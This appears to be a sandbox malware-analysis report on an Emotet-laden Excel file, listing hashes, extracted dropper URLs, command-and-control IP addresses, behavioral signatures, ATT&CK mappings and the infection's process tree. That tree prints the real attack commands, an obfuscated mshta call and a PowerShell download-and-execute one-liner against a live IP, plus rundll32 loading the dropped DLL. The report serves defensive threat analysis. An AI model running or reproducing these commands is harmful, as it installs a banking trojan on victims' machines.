emotet | ae3ef17da6024ca1f03a56b830708b471feb1f289db170fdad7e3e67eb0d4f5f

General

Target

SCAN_1219844918.xls
Size

36KB
MD5

56db5b7f7f2ca24d37b4620d403dde1a
SHA1

030e5ac189463072f36cfabd232f52b5f0d28701
SHA256

ae3ef17da6024ca1f03a56b830708b471feb1f289db170fdad7e3e67eb0d4f5f
SHA512

f875741c6d80abd2b56575d840c5e82aeedd84db549e7c8dd301569dc4fee65443363db899692ec8a34e552f50e116f70df8fe731392cccd7a8c0c268f970e5e

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3772	2564	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

35 3220 mshta.exe
42 3056 powershell.exe
44 3056 powershell.exe
46 3056 powershell.exe
49 1240 rundll32.exe
50 1240 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3360 rundll32.exe
3680 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Wnwrgprecimis\qgigmigjqzzwp.sdw rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3172 3220 WerFault.exe mshta.exe

flow	pid	process
35	3220	mshta.exe
42	3056	powershell.exe
44	3056	powershell.exe
46	3056	powershell.exe
49	1240	rundll32.exe
50	1240	rundll32.exe

pid	process
3360	rundll32.exe
3680	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Wnwrgprecimis\qgigmigjqzzwp.sdw	rundll32.exe

pid	pid_target	process	target process
3172	3220	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2564 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3172	WerFault.exe
3056	powershell.exe
3056	powershell.exe
3056	powershell.exe
1240	rundll32.exe
1240	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3172 WerFault.exe
Token: SeDebugPrivilege 3056 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3172	WerFault.exe
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE
2564	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2564 wrote to memory of 3772	2564	EXCEL.EXE	CMD.EXE
PID 2564 wrote to memory of 3772	2564	EXCEL.EXE	CMD.EXE
PID 3772 wrote to memory of 3220	3772	CMD.EXE	mshta.exe
PID 3772 wrote to memory of 3220	3772	CMD.EXE	mshta.exe
PID 3220 wrote to memory of 3056	3220	mshta.exe	powershell.exe
PID 3220 wrote to memory of 3056	3220	mshta.exe	powershell.exe
PID 3056 wrote to memory of 844	3056	powershell.exe	cmd.exe
PID 3056 wrote to memory of 844	3056	powershell.exe	cmd.exe
PID 844 wrote to memory of 3360	844	cmd.exe	rundll32.exe
PID 844 wrote to memory of 3360	844	cmd.exe	rundll32.exe
PID 844 wrote to memory of 3360	844	cmd.exe	rundll32.exe
PID 3360 wrote to memory of 3680	3360	rundll32.exe	rundll32.exe
PID 3360 wrote to memory of 3680	3360	rundll32.exe	rundll32.exe
PID 3360 wrote to memory of 3680	3360	rundll32.exe	rundll32.exe
PID 3680 wrote to memory of 3224	3680	rundll32.exe	rundll32.exe
PID 3680 wrote to memory of 3224	3680	rundll32.exe	rundll32.exe
PID 3680 wrote to memory of 3224	3680	rundll32.exe	rundll32.exe
PID 3224 wrote to memory of 1240	3224	rundll32.exe	rundll32.exe
PID 3224 wrote to memory of 1240	3224	rundll32.exe	rundll32.exe
PID 3224 wrote to memory of 1240	3224	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SCAN_1219844918.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2564

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3772

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:844

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3360

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3680

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wnwrgprecimis\qgigmigjqzzwp.sdw",iuBIMvEdLzyTOCD
8⤵
- Suspicious use of WriteProcessMemory
PID:3224

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wnwrgprecimis\qgigmigjqzzwp.sdw",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1240

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3220 -s 1820
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3172

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
39d831e4e3ba58b0e76782278839e4b1

SHA1
4f567a789ab25f98c774e04345551f7563ab69a9

SHA256
fb2f54c44fc541d7e3fbc3b405afcce8fc940c384759eed5e909cffc77b79d4d

SHA512
9e7e988747b9a52fd18ba4c428545af829d86d3504f2ac12f18c6ff07a20bdf14ee3d3f41b2962f472da984f879da506a61614ddda7cc4bf61c0444cea4dfeda

Download Submit
\ProgramData\QWER.dll
MD5
39d831e4e3ba58b0e76782278839e4b1

SHA1
4f567a789ab25f98c774e04345551f7563ab69a9

SHA256
fb2f54c44fc541d7e3fbc3b405afcce8fc940c384759eed5e909cffc77b79d4d

SHA512
9e7e988747b9a52fd18ba4c428545af829d86d3504f2ac12f18c6ff07a20bdf14ee3d3f41b2962f472da984f879da506a61614ddda7cc4bf61c0444cea4dfeda

Download Submit
\ProgramData\QWER.dll
MD5
39d831e4e3ba58b0e76782278839e4b1

SHA1
4f567a789ab25f98c774e04345551f7563ab69a9

SHA256
fb2f54c44fc541d7e3fbc3b405afcce8fc940c384759eed5e909cffc77b79d4d

SHA512
9e7e988747b9a52fd18ba4c428545af829d86d3504f2ac12f18c6ff07a20bdf14ee3d3f41b2962f472da984f879da506a61614ddda7cc4bf61c0444cea4dfeda

Download Submit
memory/1240-639-0x0000000005530000-0x0000000005557000-memory.dmp

Filesize
156KB

Download
memory/1240-623-0x0000000003090000-0x00000000030B7000-memory.dmp

Filesize
156KB

Download
memory/1240-626-0x0000000004F50000-0x0000000004F77000-memory.dmp

Filesize
156KB

Download
memory/1240-628-0x0000000005030000-0x0000000005057000-memory.dmp

Filesize
156KB

Download
memory/1240-630-0x0000000005110000-0x0000000005137000-memory.dmp

Filesize
156KB

Download
memory/1240-621-0x0000000000E40000-0x0000000000E67000-memory.dmp

Filesize
156KB

Download
memory/1240-632-0x00000000051F0000-0x0000000005217000-memory.dmp

Filesize
156KB

Download
memory/1240-634-0x00000000052D0000-0x00000000052F7000-memory.dmp

Filesize
156KB

Download
memory/1240-636-0x00000000054B0000-0x00000000054D7000-memory.dmp

Filesize
156KB

Download
memory/2564-128-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-653-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-654-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-115-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-655-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-656-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-129-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

Filesize
64KB

Download
memory/2564-127-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

Filesize
64KB

Download
memory/2564-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-117-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/2564-116-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/3056-369-0x000001926F550000-0x000001926F5C6000-memory.dmp

Filesize
472KB

Download
memory/3056-274-0x0000019256CA0000-0x0000019256CC2000-memory.dmp

Filesize
136KB

Download
memory/3056-341-0x000001926F230000-0x000001926F26C000-memory.dmp

Filesize
240KB

Download
memory/3056-417-0x0000019256D00000-0x000001926EED0000-memory.dmp

Filesize
385.8MB

Download
memory/3056-516-0x0000019256D00000-0x000001926EED0000-memory.dmp

Filesize
385.8MB

Download
memory/3056-578-0x0000019256D00000-0x000001926EED0000-memory.dmp

Filesize
385.8MB

Download
memory/3224-617-0x00000000032B0000-0x00000000032D7000-memory.dmp

Filesize
156KB

Download
memory/3360-596-0x0000000004B11000-0x0000000004B34000-memory.dmp

Filesize
140KB

Download
memory/3680-608-0x0000000004B40000-0x0000000004B67000-memory.dmp

Filesize
156KB

Download
memory/3680-599-0x0000000000EA0000-0x0000000000EC7000-memory.dmp

Filesize
156KB

Download
memory/3680-602-0x0000000004920000-0x0000000004947000-memory.dmp

Filesize
156KB

Download
memory/3680-604-0x0000000004A00000-0x0000000004A27000-memory.dmp

Filesize
156KB

Download
memory/3680-606-0x0000000004AE0000-0x0000000004B07000-memory.dmp

Filesize
156KB

Download
memory/3680-620-0x0000000004D40000-0x0000000004D67000-memory.dmp

Filesize
156KB

Download
memory/3680-610-0x0000000004BA0000-0x0000000004BC7000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads